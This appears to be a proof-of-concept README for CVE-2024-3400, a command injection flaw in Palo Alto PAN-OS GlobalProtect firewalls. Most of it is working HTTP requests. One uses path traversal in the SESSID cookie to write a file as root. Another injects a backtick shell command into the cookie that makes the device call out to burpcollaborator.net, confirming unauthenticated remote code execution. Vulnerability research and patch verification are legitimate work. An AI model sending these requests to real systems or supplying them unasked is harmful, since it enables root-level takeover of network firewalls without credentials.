CVE-2024-3400 PAN-OS: OS Command Injection Vulnerability in GlobalProtect# CVE-2024-3400
CVE-2024-3400 Palo Alto OS Command Injection
**Vendor Description**
A command injection vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS software for specific PAN-OS versions and distinct feature configurations may enable an unauthenticated attacker to execute arbitrary code with root privileges on the firewall.
## Exploit
Kudos for [watchtowr labs](https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/") 🚀
### Path traversal / Check
HTTP request:
```http
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: 127.0.0.1
Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/poc.txt;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
```
**poc.txt** should be created under this path `/var/appweb/sslvpndocs/global-protect/portal/images/poc.tx` with root privilege.
If vulnerable you will recieve 403 when you access *poc.txt* instead of 404.
```http
GET /global-protect/portal/images/poc.txt HTTP/1.1
Host: 127.0.0.1
Connection: close
```
# RCE Check
Telemetry must be enabled.
You can use Burp Collaborator for rce check
```http
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: 127.0.0.1
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`hostname${IFS}burpcollaborator.net `;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
```
#### References
* https://security.paloaltonetworks.com/CVE-2024-3400
* https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/
* https://github.com/h4x0r-dz/CVE-2024-3400
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